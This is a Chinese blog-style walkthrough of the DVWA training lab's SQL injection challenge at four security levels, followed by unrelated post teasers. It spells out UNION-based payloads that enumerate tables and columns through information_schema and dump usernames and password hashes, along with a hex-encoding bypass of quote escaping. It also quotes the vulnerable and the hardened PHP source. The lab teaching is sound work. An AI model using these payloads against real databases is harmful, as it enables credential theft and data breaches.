news 2026/5/10 13:56:09

DVWA -SQL Injection-通关教程-完结

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
DVWA -SQL Injection-通关教程-完结

DVWA -SQL Injection-通关教程-完结

SQL注入是一种攻击者通过在应用程序的输入字段中插入恶意SQL代码,从而操纵后端数据库查询的攻击技术。如果应用程序未对用户输入进行适当过滤,这些恶意SQL代码会被数据库执行,导致数据泄露、篡改或破坏。

文章目录

  • DVWA -SQL Injection-通关教程-完结
    • Low级别SQL注入攻击实战
    • 1、页面功能测试
    • 2、SQL注入攻击
    • Medium级别SQL注入攻击实战
    • High级别SQL注入攻击实战
    • Impossible 级别SQL注入攻击

Low级别SQL注入攻击实战

1、页面功能测试

1.安全级别设置为Low,点击SQL Injection,进入SQL注入攻击页面。发现该页面是个查询,随意输入一个ID值,可以查询First nameSurname

2、SQL注入攻击

1.判断字符型还是数字型(最终结果确定为字符型!

1' //测试闭合符 1'and1=1-- //验证注入点1' and1=2-- //确认漏洞可利用性



2.判断字段数(最终字段数为2!
使用order by进行判断字段数, 至到order by进行报错时候就是字段数。

1' or 1=1 order by 1 # 1'or1=1order by2#1' or1=1order by3#

3.确定显示的字段顺序

1' unionselect1,2#

Firstname位置返回1字段,surname位置返回2字段

4.获取当前数据库

1' unionselect1,database()#

在2字段位置返回数据库名称

其他常用函数:

用户权限:user(), current_user()版本系统:version()字符串处理:concat(), substring(), ascii(), hex()文件操作:load_file(), into outfile()(需权限) 盲注相关:sleep(), benchmark(), if()时间函数:now(), current_timestamp()

5.获取数据库中的表

1' unionselect1,group_concat(table_name)from information_schema.tables wheretable_schema=database()#

得到两张表,分别是guestbookusers

注入语句详解:

1'​ //闭合原查询 union select​ //联合查询 group_concat()​ //聚合函数 group_concat(column_name)-- 将多行合并为一行 group_concat(table_name)-- 将所有表名合并 from information_schema.tables​ //元数据表 information_schema.tables表结构: +--------------------+--------------+|字段名|描述|+--------------------+--------------+|TABLE_SCHEMA|数据库名||TABLE_NAME|表名||TABLE_TYPE|表类型||ENGINE|存储引擎||TABLE_ROWS|行数||AVG_ROW_LENGTH|平均行长度||DATA_LENGTH|数据长度||CREATE_TIME|创建时间||UPDATE_TIME|更新时间|+--------------------+--------------+ 为什么用这个表: 包含所有数据库、表、列的元数据 标准SQL,所有MySQL版本都支持 普通用户有只读权限 是获取数据库结构的标准方法 wheretable_schema=database()​ - 过滤条件 table_schema字段:存储数据库名称,用于区分不同数据库中的同名表 database()函数:返回当前选中的数据库名称#​ //注释符,注释掉原SQL的剩余部分

6.获取字段名

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

说明users表中有8个字段,分别是user_id,first_name,last_name,user,password,avatar,last_login,failed_login

注入语句详解:

1'​ //闭合前面的SQL语句,结束原来的查询条件 union select 1, //添加一个新的查询,数字1是占位符,用来匹配原查询的列数 group_concat(column_name)​ ✅ 核心功能 //group_concat()​ = 把多个值合并成一个字符串 //column_name​ = 列名 //合起来:把所有列名合并成一行显示 from information_schema.columns\ //information_schema.columns​ = MySQL的系统表 //这个表里存储了所有表的所有列信息 where table_name='users' //只查询表名等于'users'的表,也就是只获取users表的列信息#//注释符号,把后面没用的SQL代码都忽略掉

7.获取数据

1' or1=2unionselectuser, password fromusers#

Medium级别SQL注入攻击实战

1.安全级别设置为Medium,进入SQL注入攻击页面,发现在前端页面设置了下拉选择表单,控制用户输入。

虽然前端使用了下拉选择菜单,但我们依然可以通过抓包改参数,提交恶意构造的查询参数。

1.判断注入类型
因为前端使用下拉菜单,所以得通过抓包修改参数。
这里有两个办法,每次都进行抓包修改或者使用BurpSuiteRepeater模块

1' //测试闭合符1and1=1-- //验证注入点1and1=2-- //确认漏洞可利用性



2.猜测字段数,确定回显字段顺序,获取当前数据库,获取数据库中的表
这四部分操作与Low级别差别不大,这里只附上相关语句

1unionselect1,2#1unionselectdatabase(),version()#1unionselect1,group_concat(table_name)from information_schema.tables wheretable_schema=database()#



3.获取表中字段名

1unionselect1,group_concat(column_name)from information_schema.columns wheretable_name='users'#


按照原来的思路构建了语句,但是发生了错误,是因为单引号被转义,利用十六进制绕过。
字符串-16进制转换在线工具

1unionselect1,group_concat(column_name)from information_schema.columns wheretable_name=0x7573657273#

4.获取数据

1unionselectuser,password fromusers#

High级别SQL注入攻击实战

1.设置安全级别为High,进入SQL注入攻击页面,页面使用了读显分离,有效的防止了SQLMap等自动化工具的使用。

代码审计:

<?phpif(isset($_SESSION['id'])){// Get input$id=$_SESSION['id'];// Check database$query="SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";//LIMIT 1是一个SQL查询中的限制语句,用于指定查询结果集中的最大行数。在这段代码中,它用于限制查询结果只返回一行数据,即根据会话ID获取用户的名字和姓氏。//使用LIMT1可以提高查询效率,并避免在查询结果集中返回大量数据$result=mysqli_query($GLOBALS["___mysqli_ston"],$query)ordie('<pre>Something went wrong.</pre>');// Get resultswhile($row=mysqli_fetch_assoc($result)){// Get values$first=$row["first_name"];$last=$row["last_name"];// Feedback for end userecho"<pre>ID:{$id}<br />First name:{$first}<br />Surname:{$last}</pre>";}((is_null($___mysqli_res=mysqli_close($GLOBALS["___mysqli_ston"])))?false:$___mysqli_res);}?>

绕过方式:虽然添加了LIMIT 1,但是可以通过#将其注释掉。注入过程和之前类似,在这里不做额外演示。

Impossible 级别SQL注入攻击

查看页面源码,这段代码也使用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”,Anti-CSRFtoken机制的加入了进一步提高了安全性。

<?phpif(isset($_GET['Submit'])){// Check Anti-CSRF token//isset()用于检查变量是否已设置并且非 NULL。checkToken($_REQUEST['user_token'],$_SESSION['session_token'],'index.php');/*checkToken() 是一个自定义函数,用于检查传递的安全令牌是否有效,以确保请求不是恶意伪造的。 该函数接受三个参数: user_token:从用户请求中接收的安全令牌。 session_token:存储在用户会话中的安全令牌。 redirect:重定向的页面 URL。 该函数将首先检查 user_token 和 session_token 是否匹配。如果不匹配,则可能是 CSRF 攻击,该函数将终止脚本并打印错误消息。如果匹配,则函数将返回 true。 该函数通常用于处理任何可能受到 CSRF 攻击的操作(例如表单提交)。它是一种常见的安全技术,以确保请求来自预期的来源,并且用户已经授权执行请求的操作。*? */// Get input$id=$_GET['id'];// Was a number entered?//is_numeric用于检查一个值是否为数字或数字字符串。如果值为数字或数字字符串,则该函数返回 true,否则返回 false。if(is_numeric($id)){$id=intval($id);switch($_DVWA['SQLI_DB']){caseMYSQL:// Check the database$data=$db->prepare('SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;');$data->bindParam(':id',$id,PDO::PARAM_INT);$data->execute();$row=$data->fetch();// Make sure only 1 result is returnedaif($data->rowCount()==1){// Get values$first=$row['first_name'];$last=$row['last_name'];// Feedback for end userecho"<pre>ID:{$id}<br />First name:{$first}<br />Surname:{$last}</pre>";}break;caseSQLITE:global$sqlite_db_connection;$stmt=$sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;');$stmt->bindValue(':id',$id,SQLITE3_INTEGER);$result=$stmt->execute();$result->finalize();if($result!==false){// There is no way to get the number of rows returned// This checks the number of columns (not rows) just// as a precaution, but it won't stop someone dumping// multiple rows and viewing them one at a time.$num_columns=$result->numColumns();if($num_columns==2){$row=$result->fetchArray();// Get values$first=$row['first_name'];$last=$row['last_name'];// Feedback for end userecho"<pre>ID:{$id}<br />First name:{$first}<br />Surname:{$last}</pre>";}}break;}}}// Generate Anti-CSRF tokengenerateSessionToken();?>
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/30 4:07:47

DOM 与 BOM:前端开发者必须分清的两大核心对象

作为前端开发的基础&#xff0c;DOM 和 BOM 是 JavaScript 与浏览器交互的核心&#xff0c;但很多初学者容易将二者混淆 —— 前者操控网页内容&#xff0c;后者掌控浏览器本身。本文将从定义、核心作用、使用场景、核心对象等维度&#xff0c;彻底讲清 DOM 与 BOM 的区别与联系…

作者头像 李华
网站建设 2026/5/7 15:49:48

毕设项目 大数据B站数据分析可视化系统

文章目录 0 前言1 项目运行效果2 设计原理数据处理方案可视化呈现方案综合得分计算指标综合得分漏斗图游客画像完成度三连排行榜点赞、投币、收藏与白嫖的比例分析 3 最后 0 前言 &#x1f525;这两年开始毕业设计和毕业答辩的要求和难度不断提升&#xff0c;传统的毕设题目缺…

作者头像 李华
网站建设 2026/5/2 1:02:43

毕设项目分享 基于深度学习的动物识别

文章目录0 前言1 背景2 算法原理2.1 动物识别方法概况2.2 常用的网络模型2.2.1 B-CNN2.2.2 SSD3 SSD动物目标检测流程4 实现效果5 部分相关代码5.1 数据预处理5.2 构建卷积神经网络5.3 tensorflow计算图可视化5.4 网络模型训练5.5 对猫狗图像进行2分类0 前言 今天学长向大家介…

作者头像 李华
网站建设 2026/5/10 6:02:01

(让 Java IA MCP 更简单 )Solon AI v3.7.2 发布

olon AI & MCP&#xff08;支持 LTS&#xff09;Solon AI & MCP &#xff0c;是 Solon 官方推出的 Java 智能体应用开发框架。旨在为 Java 开发者提供统一的接口抽象层&#xff0c;简化与 OpenAI、DeepSeek、QWen 等主流 AI 模型的集成流程&#xff0c;以及简化 Mcp 的…

作者头像 李华
网站建设 2026/5/9 5:31:18

单片机开发少走这5步,90%的人都栽大跟头!

单片机开发少走这5步&#xff0c;90%的人都栽大跟头&#xff01; 你有没有过这种欲哭无泪的时刻&#xff1f;对着单片机熬了好几个通宵&#xff0c;代码写得手酸脖子僵&#xff0c;烧录完满心期待按下开关——结果灯不亮、按键没反应&#xff0c;甚至板子直接“罢工”&#xff…

作者头像 李华